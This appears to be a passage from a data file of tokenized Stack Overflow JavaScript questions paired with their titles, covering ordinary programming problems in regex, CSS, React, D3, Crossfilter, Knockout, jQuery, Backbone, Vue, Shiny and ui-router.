_thiswillNotMatch } } One To Rule All '' And the function will get called twice with : and : Now , in python I have tried looking up docs on the re packageHave tried doing something along the lines of : But it really does n't make sense to me and does n't work . For one , I 'm not clear on what this group ( ) concept means ? And how am I to know if there is match.group ( n ) ... group ( n+11000 ) ? Thanks ! var rawString = `` { { prefix_HelloWorld } } testing this . { { _thiswillNotMatch } } \ { { prefix_Okay } } '' ; rawString.replace ( /\ { \ { prefix_ ( .+ ? ) \ } \ } /g , function ( match , innerCapture ) { return `` One To Rule All '' ; } ) ; innerCapture === `` HelloWorld '' match ==== `` { { prefix_HelloWorld } } '' innerCapture === `` Okay '' match ==== `` { { prefix_Okay } } '' import re match = re.search ( r'pattern ' , string ) if match : print match.group ( ) print match.group ( 1 )",Python string.replace equivalent ( from Javascript ) "JS : This is a lot to read , but if you read it all , it should make sense.I am working on an app that requires users to highlight text on iOS . The text is separated into paragraphs , with line breaks and paragraph breaks , and I decided I would simply use < br / > tags for the line breaks , and start a new p element for each paragraph . The problem with Mobile Safari is that you ca n't individually select letters when the element you are selecting from is not inline . Instead , trying to highlight text would highlight the entire chunk of the paragraph , as it was displayed block..To combat this , I decided I would replace all new-line characters ( \n ) with an inline element like so : So the HTML would look like : And would output as : Line OneLine TwoI thought , `` Good job , you figured it out ! `` Skip to today , where I found out that this is not the behavior I want . Since the text that the user is highlighting comes from a PDF file which is processed into plain text , there would be occurrences like this : Which I would process asWhich would output asHello there , this is a paragraph andit is continuing onto the next line and this line will continue and be wrapped by the set width of the parentThat 's obviously not good ! Now there 's a whole new `` paragraph-break '' where there should be a `` line-break '' . So , I figured I would make two different inline `` break '' classes , one for a single space , and one for a double space.The double space element would act as the one above is , while the single space element would simply move the content onto the next line . So , this brings me to my actual question : How can I move text onto the next line using an inline-positioned element ? Also , I can not wrap the text in another element , such as span , so I can only use CSS to make an inline line break element and paragraph element.There are a couple of things that I have tried to get this to work . Instead of setting the width of the single space element to 100 % like I do with the double space element , I could instead calculate the width of the container and the width that the text takes up , and subtract the two , getting the width of the remaining space . This would allow me to push the content to the new line.You can test this method here : http : //jsfiddle.net/charlescarver/ksvkk/12/Problem with this method is that while I could determine the width , I could n't determine it for multi-line text nodes . Also , this is n't flexible if the container size changes.A possible idea that I had but could n't get to work was to have the single space element have a 100 % width , and have the text push it so that it would push the newline down to the next line . Like I said , I could n't get that to work . .space { height:0px ; display : inline-block ; width:100 % ; } Line one < span class= '' space '' > < /span > Line two Hello there , this is a paragraph and\n it is continuing onto the next line and this line will continue and be wrapped by the set width of the parent Hello there , this is a paragraph and < span class= '' space '' > < /span > it is continuing onto the next line and this line will continue and be wrapped by the set width of the parent",Inline line breaks ? "JS : in all of my components I am currently including react like this : I do n't see why everyone is including React when it is not used , hence wanted to check if it is safe to remove it ? import React , { Component , PropTypes } from 'react '","Do we need to import React or just { Component , PropTypes } will do ?" "JS : I 'm sure there 's an answer out there but due to the ambiguity of this question and keywords it 's difficult.All I want is a commenting plugin or answer to mimic Java in Eclipse where : UPDATE/ANSWERA few minutes after I posted this user pst came in and rephrased my question to actually make sense . After searching I found DocBlockr . Works great , thank you both ! /* * This is a description of a function in Javascript * When I press return a line like this * * should appear ( above ) and allow me to continue the comment block * and be surrounded by the following */",Automatically `` continue '' a comment block in Sublime when pressing enter ? "JS : I have button.js : And its usage : Problem is , the margin I apply in StyledTodayButton is actually never applied . Have I misunderstood extending styles in Styled Components ? import React from `` react '' ; import styled from `` styled-components '' ; const StyledButton = styled.TouchableOpacity ` border : 1px solid # fff ; border-radius : 10px ; padding-horizontal : 10px ; padding-vertical : 5px ; ` ; const StyledButtonText = styled.Text ` color : # fff ; font-size : 12 ; ` ; export default ( { children } ) = > ( < StyledButton > < StyledButtonText > { children.toUpperCase ( ) } < /StyledButtonText > < /StyledButton > ) ; import React , { Component } from `` react '' ; import styled from `` styled-components '' ; import Button from `` ./button '' ; const StyledNavView = styled.View ` justify-content : flex-end ; flex-direction : row ; background : # 000 ; padding-horizontal : 10px ; padding-vertical : 10px ; ` ; const StyledTodayButton = styled ( Button ) ` margin : 10px ; ` ; export default class Nav extends Component { render ( ) { return ( < StyledNavView > < StyledTodayButton > Today < /StyledTodayButton > < Button > Previous < /Button > < /StyledNavView > ) ; } }",Add styles to Styled Component custom Component in React Native "JS : I 'm having some trouble with D3 and I 'm hitting my wit 's end . Essentially I have a time series graph with arbitrarily many lines and the source data ca n't be modified for convenience before hand ( but it can be manipulated client-side ) .The data is formatted thusly ( with arbitrarily many labels ) : I 've tried something like : Which seems unable to access the correct value via the y accessor as I get an `` error : problem parsing '' and a lot of `` NaNL3.384615384615385 , NaNL6.76923076923077 , NaNL10.153846153846155 '' . However if I hardcode the label value via something like : It works just fine , but only for one line . Could anyone offer help ? object = [ { `` _id '' : `` 2012-08-01T05:00:00 '' , `` value '' : { `` label1 '' : 1.1208746110529344 , `` label2 '' : 0.00977592175310571 } } , { `` _id '' : `` 2012-08-15T05:00:00 '' , `` value '' : { `` label1 '' : 0.7218920737863477 , `` label2 '' : 0.6250727456677252 } , ... . var vis = d3.select . ( element ) .append ( `` svg : svg '' ) .attr ( `` width '' , width ) .attr ( `` height '' , height ) .append ( `` svg : g '' ) ; var line = d3.svg.line ( ) .x ( function ( data ) { return x ( new Date ( data._id ) ) ; } ) .y ( function ( data ) { return y ( data.value ) ; } ) ; vis.append ( `` svg : path '' ) .attr ( `` d '' , line ( object ) ) .attr ( `` stroke '' , `` black '' ) ; .y ( function ( data ) { return y ( data.value.label1 ) ; } ) ;",D3 line graph with arbitrarily many lines ( and a specific data format ) "JS : I saw this pattern : in this CoffeeScript screencast preview . ( The homepage for the screencast is here . ) Now , I do n't understand this pattern . There is a Money function that contains a Money function . What 's that about ? Could someone explain ? Money = ( function ( ) { function Money ( rawString ) { this.cents = this.parseCents ( rawString ) ; } } ) ;",What 's up with this JavaScript pattern ? "JS : I am using CrossFilter along with dc.js to create 4 different bar charts and allow a user to change the data by using the brush feature on the charts , so when the user changes the brush on one chart the others dynamically changes.This is all working for me at the minute bar one interesting issue , it looks like CrossFilter or dc.js are putting negative values on the graphs but only when certain sections of a graph is selected . So as you can see from the image when I select an area of a chart that seems to have no values this shows up negative values in the other charts.I have four items in my data , date , a type ( string ) , value ( number ) and grouped value ( this is the value grouped into smaller chunks of values of 50 ) And then I have 4 dimensions on each piece of data and 4 groups and these are supplied to the charts.There is never any negative values in my data so how can my charts be showing negative values ? I am new to CrossFilter and dc.js so I 'm not sure of the best approach or the best snippets of code to show here , if there is something else I should share please let me know , I really need help trying to understand why there are negative numbers in my graphs.EDIT : Adding codeHere is an example of my data : [ { `` Id '' : '' 1 '' , '' InDate '' : '' 31/10/2015 '' , '' Type '' : '' New '' , '' Category '' : '' cat1 '' , '' Value '' : '' 1.400874145 '' } , { `` Id '' : '' 2 '' , '' InDate '' : '' 21/10/2014 '' , '' Type '' : '' Old '' , '' Category '' : '' cat2 '' , '' Value '' : '' 0 '' } ] I read it in using the d3.csv function from a CSV file . I have triple checked for negative values in the CSV file.Here is how I set up the dimensions : Here is the function that creates the valueGrouped attribute : Finally here is how I set up the groups : EDIT 2 : Adding JSFiddleFiddle - JSFiddle var ndx = crossfilter ( data ) ; var parseDate = d3.time.format ( `` % d/ % m/ % Y '' ) .parse ; data.forEach ( function ( d ) { d.date = parseDate ( d.InDate ) ; d.valueGrouped = createValueGrouping ( parseFloat ( d.Value ) ) ; } ) ; var dateDim = ndx.dimension ( function ( d ) { return d.date ; } ) ; var typeDim = ndx.dimension ( function ( d ) { return d.Type ; } ) ; var valueGroupDim = ndx.dimension ( function ( d ) { return d.valueGrouped ; } ) ; var categoryDim = ndx.dimension ( function ( d ) { return d.Category ; } ) ; function createValueGrouping ( value ) { return 50 * Math.round ( value/50 ) ; } var timelineGroup = dateDim.group ( ) .reduceSum ( function ( d ) { return parseFloat ( d.Value ) ; } ) ; var typeGroup = typeDim.group ( ) .reduceSum ( function ( d ) { return parseFloat ( d.Value ) ; } ) ; var valueGrouped = valueGroupDim.group ( ) .reduceSum ( function ( d ) { return parseFloat ( d.Value ) ; } ) ; var categoryGroup = categoryDim.group ( ) .reduceSum ( function ( d ) { return parseFloat ( d.Value ) ; } ) ;",Crossfilter showing negative numbers on dc.js with no negative numbers in the dataset "JS : I have daily data for multiple employees and depending on the start time and end time that could mean a lot of data . So with the mapping plugin i mapped them into one big list , but i will need them grouped by employee into smaller lists so i can make a tables per employee ( like smaller view models ) that has filtering and sorting for that subset of data.Here is a basic example i created with static data . $ ( function ( ) { var data = { Employees : [ { Id : 1 , Name : `` Employee1 '' , Day : new Date ( ) , Price : 12.54 } , { Id : 2 , Name : `` Employee2 '' , Day : new Date ( ) , Price : 112.54 } , { Id : 1 , Name : `` Employee1 '' , Day : new Date ( ) , Price : 12.54 } , { Id : 3 , Name : `` Employee3 '' , Day : new Date ( ) , Price : 12.54 } ] } ; // simulate the model to json conversion . from now on i work with the json var jsonModel = JSON.stringify ( data ) ; function employeeModel ( data ) { var employeeMapping = { 'copy ' : [ `` Id '' , `` Name '' , `` Day '' , `` Price '' ] } ; ko.mapping.fromJS ( data , employeeMapping , this ) ; } function employeeViewModel ( data ) { var self = this ; var employeesMapping = { 'Employees ' : { create : function ( options ) { return new employeeModel ( options.data ) ; } } } ; ko.mapping.fromJSON ( data , employeesMapping , self ) ; } var productsModel = new employeeViewModel ( jsonModel ) ; ko.applyBindings ( productsModel ) ; } ) ; table { border-collapse : collapse ; } table , th , td { border : 1px solid black ; } tr : nth-child ( even ) { background-color : white ; } tr : nth-child ( odd ) { background-color : # C1C0C0 ; } < script src= '' //ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js '' > < /script > < script src= '' //cdnjs.cloudflare.com/ajax/libs/knockout/3.2.0/knockout-min.js '' > < /script > < script src= '' //cdnjs.cloudflare.com/ajax/libs/knockout.mapping/2.4.1/knockout.mapping.js '' > < /script > < table > < tbody data-bind= '' foreach : Employees '' > < tr > < td > < span data-bind= '' text : Id '' > < /span > < /td > < td > < span data-bind= '' text : Name '' > < /span > < /td > < td > < span data-bind= '' text : Day '' > < /span > < /td > < td > < span data-bind= '' text : Price '' > < /span > < /td > < /tr > < /tbody > < /table >",Knockout group list into smaller lists with objects "JS : We are working with a CMS that generates the following HTML : Unfortunately we ca n't easily change this structure but we want to add the following divs to be used in an accordion style dynamic layout : I was wondering how to add wrapping divs once the page is loaded using jQuery.The code would have to walk the DOM , identify h3.heading and then create a wrapping parent div around the heading and all the following divs.Or is there a simpler way of achieving this ? < h3 class= '' heading '' > Heading 1 < /h3 > < div > Content < /div > < div > More content < /div > < div > Even more content < /div > < h3 class= '' heading '' > Heading 2 < /h3 > < div > Some content < /div > < div > Some more content < /div > < h3 class= '' heading '' > Heading 3 < /h3 > < div > Other content < /div > < div class= '' section '' > < h3 class= '' heading '' > Heading 1 < /h3 > < div > Content < /div > < div > More content < /div > < div > Even more content < /div > < /div > < div class= '' section '' > < h3 class= '' heading '' > Heading 2 < /h3 > < div > Some content < /div > < div > Some more content < /div > < /div > < div class= '' section '' > < h3 class= '' heading '' > Heading 3 < /h3 > < div > Other content < /div > < /div >",Using jQuery to generate wrapping DIVs once page is loaded "JS : HTML5 draft contains an API called EventSource to stream data ( notifications ) trough javascript using only one server call.Looking it up , I found an exemple on Opera Labs of the javascript part : and the server side part : But as of today , it seems only Opera has implemented the API , neither Chrome nor Safari have a working version ( Am I wrong here ? ) So my question is , is there any other way in javascript , maybe more complex , to use this one stream to get data ? EDIT : I 'm looking at Comet stuff right now , but I 'm not sure how to reuse that : ) EDIT 2 : Apparentry , `` x-dom-event-stream '' has now been renamed `` text/event-stream '' EDIT 3 : Got to understand way more of it with this recent article from javanet document.getElementsByTagName ( `` event-source '' ) [ 0 ] .addEventListener ( `` server-time '' , eventHandler , false ) ; function eventHandler ( event ) { // Alert time sent by the server alert ( event.data ) ; } < ? phpheader ( `` Content-Type : application/x-dom-event-stream '' ) ; while ( true ) { echo `` Event : server-time\n '' ; $ time = time ( ) ; echo `` data : $ time\n '' ; echo `` \n '' ; flush ( ) ; sleep ( 3 ) ; } ? >",Use a `` x-dom-event-stream '' stream in javascript ? "JS : so I have got a sidebar nav that when the page loads , it slides out of the screen , and then when the user hovers over the area , the nav slides back on screen . However , when the nav slides off , if the user hovers over the nav during the slide off animation , the nav starts to flicker in and out as it tries to do both animations . I am wondering if there is a way to prevent this and/or disable the : hover during the slide out animation ? Sidebar asp.netcssSo i managed to fix it by using jquery to animate the sidebar menu instead of css . Thanks everyone for you help ! Jquery : **The slidebody tag was just so that i can shift the container so that the nav didnt overlap the container . ** < div class= '' col-sm-3 col-md-2 sidebar slider '' > < h5 style= '' font-family : Helvetica ; text-transform : uppercase '' > Releases < /h5 > < asp : CheckBoxList runat= '' server '' ID= '' releaseStatusFilter '' AutoPostBack= '' true '' RepeatDirection= '' Horizontal '' CellPadding= '' 6 '' Height= '' 5 '' style= '' margin-left : -10px '' > < asp : ListItem Text= '' Future '' Value = '' Future '' Selected= '' true '' > < /asp : ListItem > < asp : ListItem Text= '' Current '' Value = '' Current '' Selected= '' true '' > < /asp : ListItem > < asp : ListItem Text= '' Completed '' Value = '' Completed '' Selected= '' false '' > < /asp : ListItem > < /asp : CheckBoxList > < script type= '' text/javascript '' > < /script > < asp : ListView runat= '' server '' ID= '' releaseList '' style= '' float : left ; '' > < ItemTemplate > < ul class= '' nav navbar nav-sidebar goo-collapsible '' > < li > < a href= ' < % # `` Release.aspx ? rn= '' + Eval ( `` releaseNumber '' ) % > ' > < % # Eval ( `` releaseNumber '' ) + `` `` + Eval ( `` releaseShortName '' ) % > < /a > < /li > < /ul > < script type= '' text/javascript '' > var param = location.search.split ( 'rn= ' ) [ 1 ] param = param.split ( ' % 20 ' ) .join ( ' ' ) $ ( 'ul ' ) .find ( ' a [ href= '' Release.aspx ? rn= ' + param + ' '' ] ' ) .parents ( 'li ' ) .addClass ( 'active ' ) ; < /script > < /ItemTemplate > < /asp : ListView > < /div > .sidebar { display : none ; } @ media ( min-width : 768px ) { .sidebar { font-size : 12px ; position : fixed ; top : 120px ; width : 175px ; bottom : 0 ; left : 0px ; display : block ; padding : 10px ; overflow-x : hidden ; overflow-y : auto ; /* Scrollable contents if viewport is shorter than content . */ background-color : # ccc ; border-right : 1px solid # eeeeee ; -webkit-animation : bannermoveout 0.5s linear both ; animation : bannermoveout 0.5s linear both ; } } @ keyframes bannermoveout { 0 % { transform : translate3d ( 0px , 0px , 0px ) ; animation-timing-function : ease-in ; } 50 % { transform : translate3d ( -92px , 0px , 0px ) ; animation-timing-function : ease-in-out ; } 100 % { transform : translate3d ( -185px , 0px , 0px ) ; animation-timing-function : ease-in-out ; } } @ -webkit-keyframes bannermoveout { 0 % { transform : translate3d ( 0px , 0px , 0px ) ; animation-timing-function : ease-in ; } 50 % { transform : translate3d ( -92px , 0px , 0px ) ; animation-timing-function : ease-in-out ; } 100 % { transform : translate3d ( -185px , 0px , 0px ) ; animation-timing-function : ease-in-out ; } } .sidebar : hover { -webkit-animation : bannermove 0.5s linear both ; animation : bannermove 0.5s linear both ; } @ keyframes bannermove { 0 % { transform : translate3d ( -185px , 0px , 0px ) ; animation-timing-function : ease-in ; } 50 % { transform : translate3d ( -92px , 0px , 0px ) ; animation-timing-function : ease-in-out ; } 100 % { transform : translate3d ( 0px , 0px , 0px ) ; animation-timing-function : ease-in-out ; } } @ -webkit-keyframes bannermove { 0 % { transform : translate3d ( -185px , 0px , 0px ) ; animation-timing-function : ease-in ; } 50 % { transform : translate3d ( -92px , 0px , 0px ) ; animation-timing-function : ease-in-out ; } 100 % { transform : translate3d ( 0px , 0px , 0px ) ; animation-timing-function : ease-in-out ; } } $ ( document ) .ready ( function ( ) { $ ( `` .slider '' ) .animate ( { left : '-185px ' } , `` fast '' ) $ ( `` # slidebody '' ) .animate ( { left : '0px ' } , `` fast '' ) .queue ( function ( ) { $ ( `` .slider '' ) .hover ( function ( ) { $ ( `` .slider '' ) .stop ( ) .animate ( { left : '0px ' } ) ; $ ( `` # slidebody '' ) .stop ( ) .animate ( { left : `` 60px '' } ) ; $ ( this ) .dequeue ( ) ; } , function ( ) { $ ( `` .slider '' ) .stop ( ) .animate ( { left : '-185px ' } ) ; $ ( `` # slidebody '' ) .stop ( ) .animate ( { left : `` 0px '' } ) ; } ) ; } ) ; } ) ;",Disabling : hover during Css animation "JS : So , I 've been looking about and there does n't appear to be a way to actually abort/cancel/stop a script call once its made.I find having to use lazy load to address a non-responsive script call to a third party kinda odd . With json/ajax , sure I can just timeout on it - great . But with a script call , no such luck . I figured jQuerys $ .getScript would allow for such behavior . no ? What I am hoping to accomplish : cancel a blocking js call.could n't something like this work ? from what I 've been reading a `` script '' request can not be abort mid-stride.BUT , since getScript is just an ajax call , I was hoping that timeout could also apply here . But some of my tests are n't bearing that out ? Any other solutions besides lazy loading ? var getScript = $ .getScript ( `` ajax/test.js '' , function ( data , textStatus , jqxhr ) { // } ) ; var exitOut = setTimeout ( function ( ) { getScript.abort ( ) ; } ,2000 )",Is there any way to cancel/stop/abort a getScript call ? "JS : I previous had a string that could contain HTML ( from server , not user ) that I was accepting as a prop . Simplified , it was something like this.And I defined the prop to make it required like soI decided a slot made more sense here , so I started passing it was a slot.With a slot in the template as you 'd expect . And it works . But I can no longer require it.How can I require a slot in Vue.js ? < foobar alert-content= '' < strong > bazboo < /strong > '' > < /foobar > alertContent : { type : String , required : true , } , < foobar > < strong > bazboo < /strong > < /foobar >",How to require a slot in Vue.js ? "JS : I need to find buffered percentage of a video from < video > element.I was trying to find this using the below code , But the value is not correct , If I play the complete video buffered_percentage not resulting at 100 % . videoElement.addEventListener ( `` progress '' , bufferHandler ) ; var bufferHandler = function ( e ) { var buffered = e.target.buffered.end ( 0 ) ; var duration = e.target.duration ; var buffered_percentage = ( buffered / duration ) * 100 ; console.log ( buffered_percentage ) ; } var videoElement = document.getElementById ( `` myVideo '' ) ; videoElement.addEventListener ( `` progress '' , bufferHandler ) ; var bufferHandler = function ( e ) { var buffered = e.target.buffered.end ( 0 ) ; var duration = e.target.duration ; var buffered_percentage = ( buffered / duration ) * 100 ; console.log ( buffered_percentage ) ; } < video id= '' myVideo '' width= '' 320 '' height= '' 176 '' controls > < source src= '' http : //www.w3schools.com/tags/mov_bbb.mp4 '' type= '' video/mp4 '' > < source src= '' http : //www.w3schools.com/tags/mov_bbb.ogg '' type= '' video/ogg '' > Your browser does not support HTML5 video. < /video >",Find buffered percentage of video element "JS : I am using shiny to build a web application . Some steps will take some time to calculate , so I want to add a calculation in process indicator in shiny application . I found Show that Shiny is busy ( or loading ) when changing tab panels in stackoverflow , but the shinyIncubator package seams need to specify min and max.Then I found this blog : http : //withr.me/blog/2014/01/03/add-calculation-in-process-indictor-for-shiny-application/ He provided a great way to do this . Java script ; style.cssSo my question is how to add custom CSS and Javascript in my ui file ? I tried to creat two separate files of js and css , but the indicator appears at the left-top constantly . Then I tried to put these two pieces of code directly in R , while definitely , syntax error.Thanks ! Problem solved : Create a folder called `` www '' and put thoes two files in it . shinyUI ( bootstrapPage ( # Add custom CSS & Javascript ; tagList ( tags $ head ( tags $ link ( rel= '' stylesheet '' , type= '' text/css '' , href= '' style.css '' ) , tags $ script ( type= '' text/javascript '' , src = `` busy.js '' ) ) ) , div ( class = `` busy '' , p ( `` Calculation in progress.. '' ) , img ( src= '' http : //imageshack.us/a/img827/4092/ajaxloaderq.gif '' ) ) , div ( class = `` span4 '' , uiOutput ( `` obs '' ) ) , div ( class = `` span8 '' , plotOutput ( `` distPlot '' ) ) ) ) setInterval ( function ( ) { if ( $ ( 'html ' ) .attr ( 'class ' ) =='shiny-busy ' ) { setTimeout ( function ( ) { if ( $ ( 'html ' ) .attr ( 'class ' ) =='shiny-busy ' ) { $ ( 'div.busy ' ) .show ( ) } } , 1000 ) } else { $ ( 'div.busy ' ) .hide ( ) } } , 100 ) div.busy { position : absolute ; top : 40 % ; left : 50 % ; margin-top : -100px ; margin-left : -50px ; display : none ; background : rgba ( 230 , 230 , 230 , .8 ) ; text-align : center ; padding-top : 20px ; padding-left : 30px ; padding-bottom : 40px ; padding-right : 30px ; border-radius : 5px ; }",Add 'Calculation In Process ' Indicator for Shiny Application "JS : My current project has me accessing a database quite frequently . To do so , I make calls to my Java Servlet through jQuery Get and Post calls . I was wondering if it was better practice to build any HTML using the data I gather from the database within the servlet before I ship it back to the jQuery or if I should do the HTML injecting with JavaScript alone ? For example , let 's say I have a database table with a user ID and a username . If I wanted to create a select box off this table , which would be the better way ? Or is there even a better way ? Would it be better to just try send the rawest form of the data retrieved from the database from the servlet to the JavaScript , allowing it to handle all of the HTML formatting ? Method 1 ( Java ) Given the Following HTML/JavaScriptUsing The Following ServletMethod 2 ( JavaScript ) Given the Following HTML/JavaScriptUsing the Following Servlet < html > < head > < script type= '' text/javascript '' src= '' scripts/jquery.min.js '' > < /script > < script type= '' text/javascript '' > $ ( document ) .ready ( function ( ) { $ .get ( `` servlet ? cmd=getUsers '' , function ( data ) { $ ( `` # select '' ) .html ( data ) ; } , `` html '' ) ; } ) ; < /script > < /head > < body > < div id= '' select '' > < /div > < /body > < /html > PrintWriter writer = response.getWriter ( ) ; response.setContentType ( `` text/html '' ) ; writer.println ( `` < select id='userSelect ' name='user ' > '' ) ; while ( resultSet.next ( ) ) { String userId = resultSet.getString ( `` ixUser '' ) ; String userName = resultSet.getString ( `` sName '' ) ; writer.println ( `` < option value= ' '' + userId + `` ' > '' + userName + `` < /option > '' ) ; } writer.println ( `` < /select > '' ) ; < html > < head > < script type= '' text/javascript '' src= '' scripts/jquery.min.js '' > < /script > < script type= '' text/javascript '' > $ ( document ) .ready ( function ( ) { $ .get ( `` servlet ? cmd=getUsers '' , function ( data ) { $ ( `` # select '' ) .html ( `` < select id='userSelect ' name='user ' > '' ) ; $ ( data ) .find ( `` user '' ) .each ( function ( ) { var id = $ ( this ) .find ( `` id '' ) .text ( ) ; var name = $ ( this ) .find ( `` name '' ) .text ( ) ; $ ( `` # userSelect '' ) .append ( `` < option value= ' '' + id + `` ' > '' + name + `` < /option > '' ) ; } ) ; $ ( `` # select '' ) .append ( `` < /select > '' ) ; } , `` xml '' ) ; } ) ; < /script > < /head > < body > < div id= '' select '' > < /div > < /body > < /html > PrintWriter writer = response.getWriter ( ) ; response.setContentType ( `` text/xml '' ) ; writer.println ( `` < xml > '' ) ; while ( resultSet.next ( ) ) { String userId = resultSet.getString ( `` ixUser '' ) ; String userName = resultSet.getString ( `` sName '' ) ; writer.println ( `` < user > '' ) ; writer.println ( `` < id > '' + userid + `` < /id > '' ) ; writer.println ( `` < name > '' + userName + `` < /name > '' ) ; writer.println ( `` < /user > '' ) ; } writer.println ( `` < /xml > '' ) ;",Is it Better Practice to Inject HTML Through a Server or Through JavaScript ? "JS : I 'm building an application to send cart to my trello board , but I do n't want for users to accept application ( for this they must have trello account ) instead I created another account ( 'slave account ' ) and give it read , write permission to my board and generate read , write token that never expires.On my webpage I include core.jsEverything works but ... if user checks my code he can see my `` app key '' and `` token '' .So my question is:1 . Is this a security problem - visitor can take this app key/token and access bord ? ( I believe it is ) 2 . How do I change my code so that visitor of the page does n't see my app key/token ? thx https : //api.trello.com/1/client.js ? key= [ appkey ] & token= [ token ]",Trello token security issue ? "JS : bind method creates a new function that when called has its this keyword set to the provided value.Clearly , I can not rebind a function has already been rebound . However , I could not find any documentation on this behavior.Quote from `` Bind more arguments of an already bound function in Javascript '' Once you bound an object to a function with bind , you can not override it . It 's clearly written in the specs , as you can see in MDN documentation : The bind ( ) function creates a new function ( a bound function ) with the same function body ( internal call property in ECMAScript 5 terms ) as the function it is being called on ( the bound function 's target function ) with the this value bound to the first argument of bind ( ) , which can not be overridden.I could not find these in MDN documentation . I did an exact full-text search on the quote above on Google and seems the SO answer above is the only source for this behavior . I also try to find an answer in the language spec with no luck.My question is do you know this behavior and where can I find any official documentation on these ? var obj = { a : 0 , b ( ) { console.log ( this.a ) ; } } obj.b ( ) // - > 0var functionBound = obj.b.bind ( obj ) functionBound ( ) // - > 0functionBound.bind ( null ) ( ) // - > 0 AND I expect an error here",Can you rebind a rebound function using ` bind ` "JS : I am creating an image hover effect but I am having problem with it . When I hover over certain images , the scrollbars appear which I want to avoid but do n't know how to do so . I believe it has to do with viewport and calculations but am not sure how that is done.Example HereJSBin CodeHere is the code : Can anyone please help me how do I make it so that hovered image appears at such place that scrollbars dont appear ? ( Of course we ca n't avoid scrollbar if image size is very very big ) I just want to show original image on zoom while avoiding scrollbars as much as possible.Please note that I am planning to convert it into jQuery plugin and therefore I ca n't force users of plugin to have overflow set to hidden . The solution has do with viewport , left , top , scroll width and height , window width/height properties that I can incorporate into plugin later on.Update : I have come up with this : http : //jsbin.com/upuref/14However , it is very very hacky and not 100 % perfect . I am looking for a better algorithim/solution . I have seen many hover plugins that do this very nicely but since I am not that good at this , I ca n't do it perfectly well . For example Hover Zoom Chrome Plugin does great job of showing hovered images at appropriate place based on their size . $ ( '.simplehover ' ) .each ( function ( ) { var $ this = $ ( this ) ; var isrc = $ this [ 0 ] .src , dv = null ; $ this.mouseenter ( function ( e ) { dv = $ ( ' < div / > ' ) .attr ( 'class ' , '__shidivbox__ ' ) .css ( { display : 'none ' , zIndex : 9999 , position : 'absolute ' , top : e.pageY + 20 , left : e.pageX + 20 } ) .html ( ' < img alt= '' '' src= '' ' + isrc + ' '' / > ' ) .appendTo ( document.body ) ; dv.fadeIn ( 'fast ' ) ; } ) .mouseleave ( function ( ) { dv.fadeOut ( 'fast ' ) ; } ) ; } ) ;",jQuery Image Viewport Calculation Algorithm to Avoid Scrollbars "JS : I 'm currently building an application where I need to iterate over a series of steps that do largely the same thing , save a very small amount of code ( ~15 lines ) . The number of steps will vary depending on how the project is configured , so it seems kind of silly for me to create a separate function for each potential instance.In JavaScript , I would do something like this : Is there a way to do something similar to this in python ? The only thing I can think of is something like this : This just seems terribly inefficient if I have any significant number of steps . Is there any better way to go about this ? var switches = [ true , true , false , true ] ; var holder = { 0 : function ( ) { /* do step0 */ } 1 : function ( ) { /* do step1 */ } 2 : function ( ) { /* do step2 */ } 3 : function ( ) { /* do step3 */ } // ... etc ... } for ( var i = 0 ; i < switches.length ; i++ ) if ( switches [ i ] ) holder [ i ] ( ) ; switches = [ True , True , False , True ] class Holder ( object ) : @ staticmethod def do_0 ( ) : # do step0 @ staticmethod def do_1 ( ) : # do step 1 # ... etc ... def __repr__ ( self ) : return [ self.do_0 , self.do_1 , ... ] for action in Holder : action ( )",Storing Functions in Dictionary [ Python ] "JS : I have a self-contained Backbone.View implementation called MainControllerView that can handle itself ( i.e. , no reason to have an outside reference to it. ) . If , in my main bootstrapper function I kick things off like this : JSLint/JSHint complain that I am using `` new for side effects . '' Reading up on this warning indicates that the above is considered smelly code . The alternatives are to not use new at all and just invoke the constructor as a function , or to assign it to a variable . However , calling my MainControllerView ( ) directly as a function without using new raises errors in the backbone code , so that 's apparently not an option . And its seems totally wrong to me that the following is somehow better code : In fact this raises a different JSLint warning `` instantGarbage is defined but never used . '' Apparently , I 'm danged if I do and I 'm danged if I do n't . So , is there a different `` right '' way to handle this sort of thing ? Is creating instant garbage variables somehow the `` better code '' alternative ? Is Backbone.js leveraging the `` new '' keyword in a non-Crockford-approved way ? Or is this just one of the exceptions to the `` rule '' ? $ ( function ( ) { new MainControllerView ( ) ; } ) ; $ ( function ( ) { var instantGarbage = new MainControllerView ( ) ; } ) ;",Does Backbone.js `` use new for side effects '' contrary to JSHint ? "JS : As an example , here 's what I 'm looking to do ... The motivation here is I want to be able to pass variables ( local to the view ) to some other function outside the view . The reason I want to do this is so that the `` other function '' is only written once and not four times ... it would seriously save my project over 100 lines of code.After much googling I have n't found a solution to this ... any ideas ? Thanks ! function doSomething ( customParameter ) { console.log ( customParameter ) ; } var MyView = Backbone.View.extend ( { // Other view stuff , skipping it ... events : { 'click .someClass ' : doSomething ( customParameter ) } } ) ;",BackboneJS : How to call function outside view from view 's events hash ? "JS : I was fiddling with Cominators in JavaScript and was being proud of ( hopefully ) getting S to work when I stumbled upon Wikipedia saying : `` The Y combinator can be expressed in the SKI-calculus as : Y = S ( K ( S I I ) ) ( S ( S ( K S ) K ) ( K ( S I I ) ) ) '' , so I had to try that : What am I doing wrong ? Am I not translating that expression correctly ? Is there something wrong with how I 'm going about this ? Does it even make sense ? Most of what 's to be read about stuff like this just makes my brain want to explode , so the point of this exercise for me was mainly to see if I understood the notation ( and would thus be able to translate it to JavaScript ) .Oh , and , by the way : what got me reading & fiddling again was that what prototype.js implements as Prototype.K is actually the I combinator . Has anyone noticed ? var I = function ( x ) { return x ; } ; var K = function ( x ) { return function ( ) { return x ; } } ; var S = function ( x ) { return function ( y ) { return function ( z ) { return x ( z ) ( y ( z ) ) ; } } } ; var Y = S ( K ( S ( I ) ( I ) ) ) ( S ( S ( K ( S ) ) ( K ) ) ( K ( S ( I ) ( I ) ) ) ) ; Y ; //evals to : //function ( z ) { return x ( z ) ( y ( z ) ) ; } //And this ( lifted from Crockford 's Site ) : var factorial = Y ( function ( fac ) { return function ( n ) { return n < = 2 ? n : n * fac ( n - 1 ) ; } ; } ) ; //fails : //RangeError : Maximum call stack size exceeded",Expressing Y in term of SKI-Combinators in JavaScript "JS : I 'm using ui-router 1.0.0-alpha.5 . Old events are deprecated there.so I 'm trying to convertinto : how could I prevent default action from here ? $ rootScope. $ on ( ' $ stateChangeStart ' , ( $ event ) = > { //some logic $ event.preventDefault ( ) ; } ) ; $ transitions.onEnter ( { } , ( $ transition $ ) = > { // ... } ) ;",How to preventDefault action with onEnter hook and $ transition $ ? ( new ui-router ) "JS : Please visit the following link in IE : http : 